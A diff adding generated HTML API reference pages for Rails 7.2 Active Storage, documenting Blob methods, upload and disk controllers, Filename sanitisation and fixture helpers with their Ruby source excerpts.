+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + image?() + +

+ + +
+

Returns true if the content_type of this blob is in the image range, like image/png.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/blob.rb, line 208
+  def image?
+    content_type.start_with?("image")
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + key() + +

+ + +
+

Returns the key pointing to the file on the service that’s associated with this blob. The key is the secure-token format from Rails in lower case. So it’ll look like: xtapjjcjiudrlk3tmwyjgpuobabd. This key is not intended to be revealed directly to the user. Always refer to blobs using the signed_id or a verified form of the key.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/blob.rb, line 187
+  def key
+    # We can't wait until the record is first saved to have a key for it
+    self[:key] ||= self.class.generate_unique_secure_token(length: MINIMUM_TOKEN_LENGTH)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + open(tmpdir: nil, &block) + +

+ + +
+

Downloads the blob to a tempfile on disk. Yields the tempfile.

+ +

The tempfile’s name is prefixed with ActiveStorage- and the blob’s ID. Its extension matches that of the blob.

+ +

By default, the tempfile is created in Dir.tmpdir. Pass tmpdir: to create it in a different directory:

+ +
blob.open(tmpdir: "/path/to/tmp") do |file|
+  # ...
+end
+
+ +

The tempfile is automatically closed and unlinked after the given block is executed.

+ +

Raises ActiveStorage::IntegrityError if the downloaded data does not match the blob’s checksum.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/blob.rb, line 305
+  def open(tmpdir: nil, &block)
+    service.open(
+      key,
+      checksum: checksum,
+      verify: !composed,
+      name: [ "ActiveStorage-#{id}-", filename.extension_with_delimiter ],
+      tmpdir: tmpdir,
+      &block
+    )
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + purge() + +

+ + +
+

Destroys the blob record and then deletes the file on the service. This is the recommended way to dispose of unwanted blobs. Note, though, that deleting the file off the service will initiate an HTTP connection to the service, which may be slow or prevented, so you should not use this method inside a transaction or in callbacks. Use purge_later instead.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/blob.rb, line 331
+  def purge
+    destroy
+    delete if previously_persisted?
+  rescue ActiveRecord::InvalidForeignKey
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + purge_later() + +

+ + +
+

Enqueues an ActiveStorage::PurgeJob to call purge. This is the recommended way to purge blobs from a transaction, an Active Record callback, or in any other real-time scenario.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/blob.rb, line 339
+  def purge_later
+    ActiveStorage::PurgeJob.perform_later(self)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + service() + +

+ + +
+

Returns an instance of service, which can be configured globally or per attachment

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/blob.rb, line 344
+  def service
+    services.fetch(service_name)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + service_headers_for_direct_upload() + +

+ + +
+

Returns a Hash of headers for service_url_for_direct_upload requests.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/blob.rb, line 243
+  def service_headers_for_direct_upload
+    service.headers_for_direct_upload key, filename: filename, content_type: content_type, content_length: byte_size, checksum: checksum, custom_metadata: custom_metadata
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + service_url_for_direct_upload(expires_in: ActiveStorage.service_urls_expire_in) + +

+ + +
+

Returns a URL that can be used to directly upload a file for this blob on the service. This URL is intended to be short-lived for security and only generated on-demand by the client-side JavaScript responsible for doing the uploading.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/blob.rb, line 238
+  def service_url_for_direct_upload(expires_in: ActiveStorage.service_urls_expire_in)
+    service.url_for_direct_upload key, expires_in: expires_in, content_type: content_type, content_length: byte_size, checksum: checksum, custom_metadata: custom_metadata
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + signed_id(purpose: :blob_id, expires_in: nil, expires_at: nil) + +

+ + +
+

Returns a signed ID for this blob that’s suitable for reference on the client-side without fear of tampering.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/blob.rb, line 179
+  def signed_id(purpose: :blob_id, expires_in: nil, expires_at: nil)
+    super
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + text?() + +

+ + +
+

Returns true if the content_type of this blob is in the text range, like text/plain.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/blob.rb, line 223
+  def text?
+    content_type.start_with?("text")
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + upload(io, identify: true) + +

+ + +
+

Uploads the io to the service on the key for this blob. Blobs are intended to be immutable, so you shouldn’t be using this method after a file has already been uploaded to fit with a blob. If you want to create a derivative blob, you should instead simply create a new blob based on the old one.

+ +

Prior to uploading, we compute the checksum, which is sent to the service for transit integrity validation. If the checksum does not match what the service receives, an exception will be raised. We also measure the size of the io and store that in byte_size on the blob record. The content type is automatically extracted from the io unless you specify a content_type and pass identify as false.

+ +

Normally, you do not have to call this method directly at all. Use the create_and_upload! class method instead. If you do use this method directly, make sure you are using it on a persisted Blob as otherwise another blob’s data might get overwritten on the service.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/blob.rb, line 260
+  def upload(io, identify: true)
+    unfurl io, identify: identify
+    upload_without_unfurling io
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + url(expires_in: ActiveStorage.service_urls_expire_in, disposition: :inline, filename: nil, **options) + +

+ + +
+

Returns the URL of the blob on the service. This returns a permanent URL for public files, and returns a short-lived URL for private files. Private files are signed, and not for public use. Instead, the URL should only be exposed as a redirect from a stable, possibly authenticated URL. Hiding the URL behind a redirect also allows you to change services without updating all URLs.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/blob.rb, line 231
+  def url(expires_in: ActiveStorage.service_urls_expire_in, disposition: :inline, filename: nil, **options)
+    service.url key, expires_in: expires_in, filename: ActiveStorage::Filename.wrap(filename || self.filename),
+      content_type: content_type_for_serving, disposition: forced_disposition_for_serving || disposition, **options
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + video?() + +

+ + +
+

Returns true if the content_type of this blob is in the video range, like video/mp4.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/blob.rb, line 218
+  def video?
+    content_type.start_with?("video")
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/Blob/Analyzable.html b/src/7.2/classes/ActiveStorage/Blob/Analyzable.html new file mode 100644 index 0000000000..7c6f0f1a08 --- /dev/null +++ b/src/7.2/classes/ActiveStorage/Blob/Analyzable.html @@ -0,0 +1,206 @@ +--- +title: ActiveStorage::Blob::Analyzable +layout: default +--- +
+ +
+
+ +
+ +

Active Storage Blob Analyzable

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + analyze() + +

+ + +
+

Extracts and stores metadata from the file associated with this blob using a relevant analyzer. Active Storage comes with built-in analyzers for images and videos. See ActiveStorage::Analyzer::ImageAnalyzer and ActiveStorage::Analyzer::VideoAnalyzer for information about the specific attributes they extract and the third-party libraries they require.

+ +

To choose the analyzer for a blob, Active Storage calls accept? on each registered analyzer in order. It uses the first analyzer for which accept? returns true when given the blob. If no registered analyzer accepts the blob, no metadata is extracted from it.

+ +

In a Rails application, add or remove analyzers by manipulating Rails.application.config.active_storage.analyzers in an initializer:

+ +
# Add a custom analyzer for Microsoft Office documents:
+Rails.application.config.active_storage.analyzers.append DOCXAnalyzer
+
+# Remove the built-in video analyzer:
+Rails.application.config.active_storage.analyzers.delete ActiveStorage::Analyzer::VideoAnalyzer
+
+ +

Outside of a Rails application, manipulate ActiveStorage.analyzers instead.

+ +

You won’t ordinarily need to call this method from a Rails application. New blobs are automatically and asynchronously analyzed via analyze_later when they’re attached for the first time.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/blob/analyzable.rb, line 29
+  def analyze
+    update! metadata: metadata.merge(extract_metadata_via_analyzer)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + analyze_later() + +

+ + +
+

Enqueues an ActiveStorage::AnalyzeJob which calls analyze, or calls analyze inline based on analyzer class configuration.

+ +

This method is automatically called for a blob when it’s attached for the first time. You can call it to analyze a blob again (e.g. if you add a new analyzer or modify an existing one).

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/blob/analyzable.rb, line 37
+  def analyze_later
+    if analyzer_class.analyze_later?
+      ActiveStorage::AnalyzeJob.perform_later(self)
+    else
+      analyze
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + analyzed?() + +

+ + +
+

Returns true if the blob has been analyzed.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/blob/analyzable.rb, line 46
+  def analyzed?
+    analyzed
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/Blob/Identifiable.html b/src/7.2/classes/ActiveStorage/Blob/Identifiable.html new file mode 100644 index 0000000000..c0009a53e0 --- /dev/null +++ b/src/7.2/classes/ActiveStorage/Blob/Identifiable.html @@ -0,0 +1,189 @@ +--- +title: ActiveStorage::Blob::Identifiable +layout: default +--- +
+ +
+
+ +
+ +

Active Storage Blob Identifiable

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + identified?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/blob/identifiable.rb, line 17
+  def identified?
+    identified
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + identify() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/blob/identifiable.rb, line 5
+  def identify
+    identify_without_saving
+    save!
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + identify_without_saving() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/blob/identifiable.rb, line 10
+  def identify_without_saving
+    unless identified?
+      self.content_type = identify_content_type
+      self.identified = true
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/Blob/Representable.html b/src/7.2/classes/ActiveStorage/Blob/Representable.html new file mode 100644 index 0000000000..57aa258cb0 --- /dev/null +++ b/src/7.2/classes/ActiveStorage/Blob/Representable.html @@ -0,0 +1,342 @@ +--- +title: ActiveStorage::Blob::Representable +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + preview(transformations) + +

+ + +
+

Returns an ActiveStorage::Preview instance with the set of transformations provided. A preview is an image generated from a non-image blob. Active Storage comes with built-in previewers for videos and PDF documents. The video previewer extracts the first frame from a video and the PDF previewer extracts the first page from a PDF document.

+ +
blob.preview(resize_to_limit: [100, 100]).processed.url
+
+ +

Avoid processing previews synchronously in views. Instead, link to a controller action that processes them on demand. Active Storage provides one, but you may want to create your own (for example, if you need authentication). Here’s how to use the built-in version:

+ +
<%= image_tag video.preview(resize_to_limit: [100, 100]) %>
+
+ +

This method raises ActiveStorage::UnpreviewableError if no previewer accepts the receiving blob. To determine whether a blob is accepted by any previewer, call ActiveStorage::Blob#previewable?.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/blob/representable.rb, line 63
+  def preview(transformations)
+    if previewable?
+      ActiveStorage::Preview.new(self, transformations)
+    else
+      raise ActiveStorage::UnpreviewableError
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + previewable?() + +

+ + +
+

Returns true if any registered previewer accepts the blob. By default, this will return true for videos and PDF documents.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/blob/representable.rb, line 72
+  def previewable?
+    ActiveStorage.previewers.any? { |klass| klass.accept?(self) }
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + representable?() + +

+ + +
+

Returns true if the blob is variable or previewable.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/blob/representable.rb, line 97
+  def representable?
+    variable? || previewable?
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + representation(transformations) + +

+ + +
+

Returns an ActiveStorage::Preview for a previewable blob or an ActiveStorage::Variant for a variable image blob.

+ +
blob.representation(resize_to_limit: [100, 100]).processed.url
+
+ +

Raises ActiveStorage::UnrepresentableError if the receiving blob is neither variable nor previewable. Call ActiveStorage::Blob#representable? to determine whether a blob is representable.

+ +

See ActiveStorage::Blob#preview and ActiveStorage::Blob#variant for more information.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/blob/representable.rb, line 85
+  def representation(transformations)
+    case
+    when previewable?
+      preview transformations
+    when variable?
+      variant transformations
+    else
+      raise ActiveStorage::UnrepresentableError
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + variable?() + +

+ + +
+

Returns true if the variant processor can transform the blob (its content type is in ActiveStorage.variable_content_types).

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/blob/representable.rb, line 44
+  def variable?
+    ActiveStorage.variable_content_types.include?(content_type)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + variant(transformations) + +

+ + +
+

Returns an ActiveStorage::Variant or ActiveStorage::VariantWithRecord instance with the set of transformations provided. This is only relevant for image files, and it allows any image to be transformed for size, colors, and the like. Example:

+ +
avatar.variant(resize_to_limit: [100, 100]).processed.url
+
+ +

This will create and process a variant of the avatar blob that’s constrained to a height and width of 100px. Then it’ll upload said variant to the service according to a derivative key of the blob and the transformations.

+ +

Frequently, though, you don’t actually want to transform the variant right away. But rather simply refer to a specific variant that can be created by a controller on-demand. Like so:

+ +
<%= image_tag Current.user.avatar.variant(resize_to_limit: [100, 100]) %>
+
+ +

This will create a URL for that specific blob with that specific variant, which the ActiveStorage::RepresentationsController can then produce on-demand.

+ +

Raises ActiveStorage::InvariableError if the variant processor cannot transform the blob. To determine whether a blob is variable, call ActiveStorage::Blob#variable?.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/blob/representable.rb, line 34
+  def variant(transformations)
+    if variable?
+      variant_class.new(self, ActiveStorage::Variation.wrap(transformations).default_to(default_variant_transformations))
+    else
+      raise ActiveStorage::InvariableError
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/Blobs.html b/src/7.2/classes/ActiveStorage/Blobs.html new file mode 100644 index 0000000000..a7f84b3d6b --- /dev/null +++ b/src/7.2/classes/ActiveStorage/Blobs.html @@ -0,0 +1,71 @@ +--- +title: ActiveStorage::Blobs +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/Blobs/ProxyController.html b/src/7.2/classes/ActiveStorage/Blobs/ProxyController.html new file mode 100644 index 0000000000..3eb011b4df --- /dev/null +++ b/src/7.2/classes/ActiveStorage/Blobs/ProxyController.html @@ -0,0 +1,146 @@ +--- +title: ActiveStorage::Blobs::ProxyController +layout: default +--- +
+ +
+
+ +
+ +

Proxy files through application. This avoids having a redirect and makes files easier to cache.

+ +

WARNING: All Active Storage controllers are publicly accessible by default. The generated URLs are hard to guess, but permanent by design. If your files require a higher level of protection consider implementing Authenticated Controllers.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + show() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/controllers/active_storage/blobs/proxy_controller.rb, line 14
+  def show
+    if request.headers["Range"].present?
+      send_blob_byte_range_data @blob, request.headers["Range"]
+    else
+      http_cache_forever public: true do
+        response.headers["Accept-Ranges"] = "bytes"
+        response.headers["Content-Length"] = @blob.byte_size.to_s
+
+        send_blob_stream @blob, disposition: params[:disposition]
+      end
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/Blobs/RedirectController.html b/src/7.2/classes/ActiveStorage/Blobs/RedirectController.html new file mode 100644 index 0000000000..9589269658 --- /dev/null +++ b/src/7.2/classes/ActiveStorage/Blobs/RedirectController.html @@ -0,0 +1,116 @@ +--- +title: ActiveStorage::Blobs::RedirectController +layout: default +--- +
+ +
+
+ +
+ +

Take a signed permanent reference for a blob and turn it into an expiring service URL for download.

+ +

WARNING: All Active Storage controllers are publicly accessible by default. The generated URLs are hard to guess, but permanent by design. If your files require a higher level of protection consider implementing Authenticated Controllers.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + show() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/controllers/active_storage/blobs/redirect_controller.rb, line 12
+  def show
+    expires_in ActiveStorage.service_urls_expire_in
+    redirect_to @blob.url(disposition: params[:disposition]), allow_other_host: true
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/DirectUploadsController.html b/src/7.2/classes/ActiveStorage/DirectUploadsController.html new file mode 100644 index 0000000000..a651215756 --- /dev/null +++ b/src/7.2/classes/ActiveStorage/DirectUploadsController.html @@ -0,0 +1,114 @@ +--- +title: ActiveStorage::DirectUploadsController +layout: default +--- +
+ +
+
+ +
+ +

Creates a new blob on the server side in anticipation of a direct-to-service upload from the client side. When the client-side upload is completed, the signed_blob_id can be submitted as part of the form to reference the blob that was created up front.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + create() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/controllers/active_storage/direct_uploads_controller.rb, line 7
+  def create
+    blob = ActiveStorage::Blob.create_before_direct_upload!(**blob_args)
+    render json: direct_upload_json(blob)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/DisableSession.html b/src/7.2/classes/ActiveStorage/DisableSession.html new file mode 100644 index 0000000000..ea73077566 --- /dev/null +++ b/src/7.2/classes/ActiveStorage/DisableSession.html @@ -0,0 +1,60 @@ +--- +title: ActiveStorage::DisableSession +layout: default +--- +
+ +
+
+ +
+ +

This concern disables the session in order to allow caching by default in some CDNs as CloudFlare.

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/DiskController.html b/src/7.2/classes/ActiveStorage/DiskController.html new file mode 100644 index 0000000000..66f0331cf4 --- /dev/null +++ b/src/7.2/classes/ActiveStorage/DiskController.html @@ -0,0 +1,169 @@ +--- +title: ActiveStorage::DiskController +layout: default +--- +
+ +
+
+ +
+ +

Serves files stored with the disk service in the same way that the cloud services do. This means using expiring, signed URLs that are meant for immediate access, not permanent linking. Always go through the BlobsController, or your own authenticated controller, rather than directly to the service URL.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + show() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/controllers/active_storage/disk_controller.rb, line 12
+  def show
+    if key = decode_verified_key
+      serve_file named_disk_service(key[:service_name]).path_for(key[:key]), content_type: key[:content_type], disposition: key[:disposition]
+    else
+      head :not_found
+    end
+  rescue Errno::ENOENT
+    head :not_found
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + update() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/controllers/active_storage/disk_controller.rb, line 22
+  def update
+    if token = decode_verified_token
+      if acceptable_content?(token)
+        named_disk_service(token[:service_name]).upload token[:key], request.body, checksum: token[:checksum]
+        head :no_content
+      else
+        head :unprocessable_entity
+      end
+    else
+      head :not_found
+    end
+  rescue ActiveStorage::IntegrityError
+    head :unprocessable_entity
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/Error.html b/src/7.2/classes/ActiveStorage/Error.html new file mode 100644 index 0000000000..eaa052b2e2 --- /dev/null +++ b/src/7.2/classes/ActiveStorage/Error.html @@ -0,0 +1,66 @@ +--- +title: ActiveStorage::Error +layout: default +--- +
+ +
+
+ +
+ +

Generic base class for all Active Storage exceptions.

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/FileNotFoundError.html b/src/7.2/classes/ActiveStorage/FileNotFoundError.html new file mode 100644 index 0000000000..be46e607e7 --- /dev/null +++ b/src/7.2/classes/ActiveStorage/FileNotFoundError.html @@ -0,0 +1,66 @@ +--- +title: ActiveStorage::FileNotFoundError +layout: default +--- +
+ +
+
+ +
+ +

Raised when ActiveStorage::Blob#download is called on a blob where the backing file is no longer present in its service.

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/Filename.html b/src/7.2/classes/ActiveStorage/Filename.html new file mode 100644 index 0000000000..ed5bcc43d0 --- /dev/null +++ b/src/7.2/classes/ActiveStorage/Filename.html @@ -0,0 +1,496 @@ +--- +title: ActiveStorage::Filename +layout: default +--- +
+ +
+
+ +
+ +

Active Storage Filename

+ +

Encapsulates a string representing a filename to provide convenient access to parts of it and sanitization. A Filename instance is returned by ActiveStorage::Blob#filename, and is comparable so it can be used for sorting.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+
    + +
  • + + Comparable + +
  • + +
+ + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(filename) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/filename.rb, line 18
+  def initialize(filename)
+    @filename = filename
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + wrap(filename) + +

+ + +
+

Returns a Filename instance based on the given filename. If the filename is a Filename, it is returned unmodified. If it is a String, it is passed to ActiveStorage::Filename.new.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/filename.rb, line 13
+    def wrap(filename)
+      filename.kind_of?(self) ? filename : new(filename)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + <=>(other) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/filename.rb, line 72
+  def <=>(other)
+    to_s.downcase <=> other.to_s.downcase
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + as_json(*) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/filename.rb, line 68
+  def as_json(*)
+    to_s
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + base() + +

+ + +
+

Returns the part of the filename preceding any extension.

+ +
ActiveStorage::Filename.new("racecar.jpg").base # => "racecar"
+ActiveStorage::Filename.new("racecar").base     # => "racecar"
+ActiveStorage::Filename.new(".gitignore").base  # => ".gitignore"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/filename.rb, line 27
+  def base
+    File.basename @filename, extension_with_delimiter
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + extension() + +

+ + +
+ +
+ + + + + + + + + + +
+ +
+

+ + extension_with_delimiter() + +

+ + +
+

Returns the extension of the filename (i.e. the substring following the last dot, excluding a dot at the beginning) with the dot that precedes it. If the filename has no extension, an empty string is returned.

+ +
ActiveStorage::Filename.new("racecar.jpg").extension_with_delimiter # => ".jpg"
+ActiveStorage::Filename.new("racecar").extension_with_delimiter     # => ""
+ActiveStorage::Filename.new(".gitignore").extension_with_delimiter  # => ""
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/filename.rb, line 37
+  def extension_with_delimiter
+    File.extname @filename
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + extension_without_delimiter() + +

+ + +
+

Returns the extension of the filename (i.e. the substring following the last dot, excluding a dot at the beginning). If the filename has no extension, an empty string is returned.

+ +
ActiveStorage::Filename.new("racecar.jpg").extension_without_delimiter # => "jpg"
+ActiveStorage::Filename.new("racecar").extension_without_delimiter     # => ""
+ActiveStorage::Filename.new(".gitignore").extension_without_delimiter  # => ""
+
+
+ + + +
+ Also aliased as: extension +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/filename.rb, line 47
+  def extension_without_delimiter
+    extension_with_delimiter.from(1).to_s
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + sanitized() + +

+ + +
+

Returns the sanitized filename.

+ +
ActiveStorage::Filename.new("foo:bar.jpg").sanitized # => "foo-bar.jpg"
+ActiveStorage::Filename.new("foo/bar.jpg").sanitized # => "foo-bar.jpg"
+
+ +

Characters considered unsafe for storage (e.g. , $, and the RTL override character) are replaced with a dash.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/filename.rb, line 59
+  def sanitized
+    @filename.encode(Encoding::UTF_8, invalid: :replace, undef: :replace, replace: "οΏ½").strip.tr("\u{202E}%$|:;/\t\r\n\\", "-")
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_s() + +

+ + +
+

Returns the sanitized version of the filename.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/app/models/active_storage/filename.rb, line 64
+  def to_s
+    sanitized.to_s
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/FixtureSet.html b/src/7.2/classes/ActiveStorage/FixtureSet.html new file mode 100644 index 0000000000..2bfe86b102 --- /dev/null +++ b/src/7.2/classes/ActiveStorage/FixtureSet.html @@ -0,0 +1,229 @@ +--- +title: ActiveStorage::FixtureSet +layout: default +--- +
+ +
+
+ +
+ +

Active Storage FixtureSet

+ +

Fixtures are a way of organizing data that you want to test against; in short, sample data.

+ +

To learn more about fixtures, read the ActiveRecord::FixtureSet documentation.

+ +

YAML

+ +

Like other Active Record-backed models, ActiveStorage::Attachment and ActiveStorage::Blob records inherit from ActiveRecord::Base instances and therefore can be populated by fixtures.

+ +

Consider a hypothetical Article model class, its related fixture data, as well as fixture data for related ActiveStorage::Attachment and ActiveStorage::Blob records:

+ +
# app/models/article.rb
+class Article < ApplicationRecord
+  has_one_attached :thumbnail
+end
+
+ +

+ +
# fixtures/active_storage/blobs.yml
+first_thumbnail_blob: <%= ActiveStorage::FixtureSet.blob filename: "first.png" %>
+
+ +

+ +
# fixtures/active_storage/attachments.yml
+first_thumbnail_attachment:
+  name: thumbnail
+  record: first (Article)
+  blob: first_thumbnail_blob
+
+ +

When processed, Active Record will insert database records for each fixture entry and will ensure the Active Storage relationship is intact.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + blob(filename:, **attributes) + +

+ + +
+

Generate a YAML-encoded representation of an ActiveStorage::Blob instance’s attributes, resolve the file relative to the directory mentioned by ActiveSupport::Testing::FileFixtures.file_fixture, and upload the file to the Service

+ +

Examples

+ +
# tests/fixtures/active_storage/blobs.yml
+second_thumbnail_blob: <%= ActiveStorage::FixtureSet.blob(
+  filename: "second.svg",
+) %>
+
+third_thumbnail_blob: <%= ActiveStorage::FixtureSet.blob(
+  filename: "third.svg",
+  content_type: "image/svg+xml",
+  service_name: "public"
+) %>
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/fixture_set.rb, line 66
+    def self.blob(filename:, **attributes)
+      new.prepare Blob.new(filename: filename, key: generate_unique_secure_token), **attributes
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + prepare(instance, **attributes) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activestorage/lib/active_storage/fixture_set.rb, line 70
+    def prepare(instance, **attributes)
+      io = file_fixture(instance.filename.to_s).open
+      instance.unfurl(io)
+      instance.assign_attributes(attributes)
+      instance.upload_without_unfurling(io)
+
+      instance.attributes.transform_values { |value| value.is_a?(Hash) ? value.to_json : value }.compact.to_json
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveStorage/IntegrityError.html b/src/7.2/classes/ActiveStorage/IntegrityError.html new file mode 100644 index 0000000000..0378852431 --- /dev/null +++ b/src/7.2/classes/ActiveStorage/IntegrityError.html @@ -0,0 +1,66 @@ +--- +title: ActiveStorage::IntegrityError +layout: default +--- +
+ +
+
+ +
+ +

